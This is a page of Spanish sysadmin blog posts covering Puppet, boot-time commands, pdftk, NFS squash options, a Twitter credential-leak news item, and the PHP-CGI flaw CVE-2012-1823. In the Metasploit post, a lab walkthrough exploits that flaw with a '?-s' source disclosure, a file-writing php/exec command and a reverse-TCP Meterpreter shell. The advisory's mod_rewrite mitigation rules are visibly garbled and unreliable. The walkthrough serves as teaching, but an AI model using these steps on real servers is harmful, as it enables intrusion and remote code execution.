puppet usa por defecto una serie de variables que son dadas por facter, un software que comprueba diversos parámetros del sistema cliente y se los envía al máster para poder usarlos y tomar decisiones.
Las principales variables de facter se verán en otro post, pero entre ellas se encuentra la versión del sistema operativo, el sistema operativo, la IP, el dominio, etc.



Un ejemplo de éste uso sería:
file { "localtime":
   path  => $operatingsystem ?{
      debian  => "/etc/localtime",
      ubuntu  => "/etc/localtime",
      redhat  => "/etc/sysconfig/clock",
      centos  => "/etc/sysconfig/clock",
      suse    => "/etc/sysconfig/clock",
      default => "/etc/localtime", 
   },
   owner => root,
   group => root,
   mode  => 0644;
}
O también, esta otra forma,
...
case $fqdn {
   server1.domain.com: {
      mailalias {
         logcheck:
            ensure    => present,
            recipient => [ "miguel@company.com" ];
      }
   }

   server3.company.es: {
      mailalias {
         logcheck:
            ensure    => present,
            recipient => [ "javier@company.com" ];
      }
   }

   default: {
      mailalias {
         logcheck:
            ensure    => present,
            recipient => [ "logs@company.com" ];
      }
   }
}
...
Leer más

Cuándo se arrancó mi sistema

Muchas veces nos interesa saber cuánto tiempo lleva arrancado nuestro equipo y esa información la podemos obtener de diversas formas y con diversos comandos, como se muestra a continuación,

shell> uptime
 21:22:29 up 7 days, 1:05, 3 users, load average: 0.01, 0.10, 0.14
shell> w
 21:22:30 up 7 days, 1:05, 3 users, load average: 0,01, 0,10, 0,14
 ....
donde nos dice los días y horas que lleva el sistema arrancado, así como otra información de interés, como pueden ser el número de usuarios conectados o la carga del sistema. Esta información es útil, pero para responder a la pregunta del título del post, habría que hacer cuentas matemáticas en la cabeza y eso ya no queda tan bien.
Por lo tanto, ¿cómo podemos saber cuándo se arrancó nuestro sistema?
Pues al igual que para saber el tiempo que lleva encendido existen diversos comandos, para responder a ésto también los hay y vamos a ver un par de ellos.
shell> who -b
         system boot  May  2 09:17
shell> last reboot

wtmp begins Fri May  4 08:54:36 2012
Así podemos saber de forma fácil y rápida cuándo se arrancó el equipo. La información obtenida por el primer comando es muy fiable y siempre está disponible, mientras que la del segundo comando, al depender del log wtmp, si el sistema lleva mucho tiempo encendido y el fichero fue rotado puede no dar unos valores lógicos.

Leer más

55000 cuentas de twitter comprometidas

Primera noticia de la mañana y no es alentadora. 55k cuentas de Twitter fueron hackeadas y los responsables han dejado las credenciales en Pastebin. No se sabe exactamente cómo lo han conseguido, pero todo apunta a un fallo de seguridad en Twitter, ya que éste sí fue consciente de dicho robo y está intentando minimizar el impacto que pueda tener. A la gran mayoría de los afectados ya les han mandando un mail para que cambien su contraseña. Las credenciales robadas apuntan a usuario/mail + contraseña, es decir, todo lo necesario para entrar. Si además sumamos que, la lógica hace que usemos la misma contraseña para todo, casi diría que también hay 55000 cuentas de correo medio comprometidas, pero eso ya es otra historia.
Para aquellos que quieran saber si su cuenta está entre la lista de víctimas, os dejo aquí los enlaces de Pastebin donde están los datos.
La fuente original de la noticia, Airdemon, pero corrió como la pólvora.
Leer más

Uso de pdftk

En muchas ocasiones necesitamos hacer determinadas tareas con archivos PDF que nos obligan a recurrir a herramientas caras y concretas que lo permitan hacer, sin tener en cuenta, que el software libre ha dado pdftk.
pdftk es una potente herramienta que nos permite hacer prácticamente de todo en las páginas de un fichero pdf de forma muy sencilla y todo perfectamente scriptable. Su potencia es tal, que permite añadir nuevas páginas a un documento, rotar 90º una página concreta, añadir una marca de agua, etc. A continuación vamos a ver algunos de los ejemplos del potencial de pdftk.
  • Añadir páginas a un pdf
    Uno de los usos más comunes que se le suele dar a pdftk es el de añadir alguna página a un fichero. El caso más típico para el que yo, personalmente, lo suelo usar es para añadir una portada a un documento. Si tenemos el documento completo ya listo, y queremos añadirle una portada, simplemente,
    shell> pdftk portada.pdf libro.pdf cat output memoria.pdf
    
    o
    shell> pdftk A=portada.pdf B=libro.pdf cat A1 B2-end output memoria.pdf
  • Extraer páginas impares de un pdf
    pdftk también permite realizar extracción de páginas. Esto resulta muy útil en caso de que por ejemplo no tengamos una impresora que permita imprimir a doble cara. Para solucionarlo, extraemos del fichero todas las hojas impares, por ejemplo, y se mandan a la impresora
    shell> pdftk memoria.pdf cat 1-endodd output impares.pdf
    
  • Extraer páginas pares de un pdf
    Luego realizamos el mismo proceso con las hojas pares y listo...
    shell> pdftk memoria.pdf cat 1-endeven output pares.pdf
    
  • Rotar páginas de un pdf
    Con pdftk también es posible realizar una rotación de páginas, ya bien sea de una página en concreto o de un rango. Los tipos de rotación que existen son lo que se muestran a continuación,
    • N: 0º (no realiza ningún cambio)
    • E: 90º
    • S: 180º
    • W: 270º
    shell> pdftk memoria.pdf cat 1-endW output memoria_w.pdf
    En el ejemplo puesto, se rotan todas las páginas (rango 1-end) 270º, guardando el resultado en el fichero memoria_w.pdf.
  • Invertir el orden de las páginas de un pdf
    Este es un pequeño truco que sirve para cambiar el orden de las páginas e invertir todo el documento, por si es necesario. Únicamente hay que indicar específicamente un orden inverso del fichero, en vez del rango 1-end, poner el rango end-1.
    shell> pdftk memoria.pdf cat end-1 output memoria_inversa.pdf
  • Desglosar un pdf en páginas
    Si necesitamos por cualquier motivo sacar todas las páginas de un archivo en ficheros diferentes, aquí el truco de cómo hacerlo.
    shell> pdftk memoria.pdf burst memoria_%02d.pdf
  • Añadir una marca de agua a un pdf
    Muchas veces nos interesa poner una marca de agua a un archivo que acabamos de realizar y no hay mejor forma que usando pdftk para hacerlo. La forma de conseguirlo, nuevamente muy sencilla.
    shell> pdftk memoria.pdf background marca.pdf output memoria_H2O.pdf
    Hay que destacar que así se añade como marca el contenido de la primera página del fichero marca.pdf. Si deseamos tener una marca de agua diferente por cada una de las páginas, en vez de usar la opción background, podemos emplear la opción multibackground, que hará una coincidencia de marca de agua por número de página. Página 1, con página 1, la 2 con la 2 y así sucesivamente.
  • Añadir una imagen al frente de un pdf
    Si en vez de una marca de agua, lo que nos interesa en tener estampada una imagen en el documento, lo podemos lograr tal que así,
    shell> pdftk memoria.pdf stamp img.pdf output memoria_img.pdf
    Y al igual que sucede con las marcas de agua, podemos emplear multistamp en vez de stamp.
  • Extraer metadatos de un pdf
    Aunque ya vimos cómo poder obtener los metadatos de un archivo pdf en otro post, con pdftk también lo podemos lograr.
    shell> pdftk Introduction_to_Cryptography.pdf dump_data
      InfoKey: Title
      InfoValue: Introduction to Cryptography with Coding Theory
      InfoKey: Producer
      InfoValue: ABBYY FineReader 11
      InfoKey: Author
      InfoValue: Wade Trappe, Lawrence C. Washington
      NumberOfPages: 591
    
  • Reparar un pdf dañado
    pdftk cuando recorre un archivo realmente está interpretando todos sus datos y tiene que reconstruir sus tablas y flujos, por lo que si hay un fallo en alguna de las partes de un pdf y éste se puede recuperar, gracias a esta utilidad, se podría conseguir.
    shell> pdftk memoria-fail.pdf output memoria-ok.pdf
    Aunque... obviamente no hace milagros...
Leer más

New bug in PHP-CGI

Pues parece que hoy es el día de enunciar vulnerabilidades. Si a primera hora era la de samba, ahora toca una nueva de php, que afecta  a php-cgi. Dicha vulnerabilidad está identificada con el código CVE-2012-1823 y está calificada como crítica ya que a través de inyección de parámetros se puede mostrar el contenido del php ejecutado (contraseñas incluidas) o ejecutar código remoto. Este fallo se viene arrastrando desde 2004, por lo que son muchos los sistemas afectados de inyección de parámetros.
Para explotar dicha vulnerabilidad, simplemente hay que pasarle los parámetros -s, '?-s', o -r, '?-s', como opciones a la página llamada. Por ejemplo, la opción -s lo que hace es directamente mostrar el contenido del php ejecutado, lo que implica una falta de seguridad muy grave.
Los encargados del proyecto ya han desarrollado un parche que se espera en breve llegue a todas las distribuciones empaquetado, pero ya está disponible en código fuente.
Si la actualización es complicada, se aconseja cuando menos añadir al sistema el módulo mod_rewrite de apache, para intentar bloquear las peticiones maliciosas. Las reglas a añadir serían,
RewriteEngine on
RewriteCond% {QUERY_STRING} ^ [^ =] * $
RewriteCond% {QUERY_STRING}% 2d | \ - [NC]
RewriteRule.? - [F, L]
O también el uso de la directiva FilesMatch, que evita que se muestre el contenido de ficheros php importantes.
...
  <filesmatch ^config.php$="">
    Deny from all
  </filesmatch>
...
Nota: FastCGI no es vulnerable!
Nota: Ya hay disponible un módulo para metasploit que aprovecha dicho fallo de seguridad, para hacer PoC.

Para más información: eindbazen.net.
Leer más

Metasploit CVE-2012-1823, php-cgi

El viernes pasado se montó un rebumbio muy grande por todo internet cuando un fallo en php, concretamente en el módulo CGI permitía ver el código fuente de una página y permitir ejecución de código remoto. En este blog, como en muchos otros se notificó de ello. Hoy, ya con un fin de semana de por medio para poder probar el módulo que la gente de metasploit sacó para explotar dicha vulnerabilidad, os persento los resultados. Realmente son bastante sorprendentes y quedan muy visto lo sencillo que es.
Primero creamos un entorno de pruebas con un apache + php_cgi vulnerable. En debian, empleando los parches de seguridad ya está parcheado, así que montamos una máquina sin parches de seguridad. Como la prueba es muy simple, únicamente necesitamos un pequeño código php. Qué mejor que un phpinfo ;-)
Tras tener la máquina montada, accedemos a un php de prueba, http://192.168.1.45/info.php.
Nos muestra la típica página de información. Ahora comprobamos qué sucede al acceder a http://192.168.1.45/info.php?-s. El resultado, el código fuente del php.
<?php
phpinfo();
?>
Es hora de intentar explotar la vulnerabilidad en condiciones. Así que, comencemos.
shell> msfconsole
Primero buscamos un exploit que permita aprovechar dicha vulnerabilidad. Por defecto mi sistema se actualiza en cada arranque, así que ya lo tengo. En caso de que no lo tengáis, simplemente actualizar vuestros exploit's disponibles.
msf> search php_cgi
Matching Modules
================
Name                                       Disclosure Date   Rank       
----                                       ---------------   ----       
exploit/multi/http/php_cgi_arg_injection   2012-05-03        excellent
Pues vamos allá. Cargamos el exploit y le indicamos los datos de la víctima.
msf> use exploit/multi/http/php_cgi_arg_injection
msf exploit(php_cgi_arg_injection)> set RHOST 192.168.1.45
msf exploit(php_cgi_arg_injection)> set TARGETURI /info.php
Ahora tenemos que buscar un payload que cargar tras la explotación. Puesto que sólo es una prueba, vamos a realizar algo muy simple. Primero... vamos a ver qué payloads nos interesa.
msf exploit(php_cgi_arg_injection)> show payloads

Compatible Payloads
===================

Name                         Rank   Description
----                         ----   -----------
php/exec                     normal PHP Execute Command 
php/meterpreter/reverse_tcp  normal PHP Meterpreter, PHP Reverse TCP stager
Los dos que destacamos son los que vamos a emplear. El primer, muy simple, permite ejecutar un comando desde php y el segundo, pues el propio nombre lo indica ;-)
Cargamos por lo tanto el payload y lo configuramos.
msf exploit(php_cgi_arg_injection)> set PAYLOAD php/exec
msf exploit(php_cgi_arg_injection)> set CMD echo 'hack\>/var/www/hack.html
Lanzamos el exploit y comprobamos qué sucede al acceder al http://192.168.1.45/hack.html. Efectivamente, el contenido del archivo es el esperado. Imaginémonos ahora que ejecutamos un cat /etc/passwd, por ejemplo.
msf exploit(php_cgi_arg_injection)> exploit 
Probemos ahora a emplear el otro payload, que nos puede dar más juego, ya que abrirá una conexión meterpreter con la máquina remota. Lo cargamos y configuramos.
msf exploit(php_cgi_arg_injection)> set PAYLOAD php/meterpreter/reverse_tcp
msf exploit(php_cgi_arg_injection)> set LHOST 192.168.1.33
Ahora lo lazamos contra la misma web vulnerable y esto es lo que obtenemos.
msf exploit(php_cgi_arg_injection)> exploit

[*] Started reverse handler on 192.168.1.33:4444
[*] Sending stage (38791 bytes) to 192.168.1.33
[*] Meterpreter session 2 opened (192.168.1.33:4444 -> 192.168.1.45:4732)..

meterpreter> getuid
Server username: www-data (33)
El meterpreter de php es limitado, pero sí permite hacer alguna que otra cosa interesante, como subida de ficheros o cambios de puertos y por defecto, tenemos los permisos del usuario www-data/apache o aquel usuario que ejecute el php-cgi.
Leer más

NFS [no_]root_squash

NFS es un protocolo a nivel de aplicación que sirve para compartir sistemas de archivos en red. En sistemas GNU/Linux es ampliamente usado para compartir datos entre equipos, al más puro estilo samba en equipos Windows.
A la hora de exportar un sistema de ficheros NFS, hay ciertas opciones que nos pueden ser de interés a la hora de montar los datos en un nuevo equipo. Estas opciones son no_root_squash y root_squash, según queramos o no tener una equivalencia del usuario root al sistema que exporta. Dichas opciones se especifican en el servidor origen, a la hora de exportar los datos.
Un ejemplo puede ser, por ejemplo,
/home/javier     192.168.0.33 (rw,root_squash)
El significado de las opciones son:
  • root_squash
    El usuario root del cliente se mapea al servidor con el usuario nobody. Esto previene que un cliente pueda dejar archivos infectados para que se ejecuten.
  • no_root_squash
    Permite que el usuario root del cliente se mapee con el usuario root del servidor. Esta opción puede implicar un fallo de seguridad.
Leer más

Formulario de contacto

Nombre

Correo electrónico *

Mensaje *

Últimos comentarios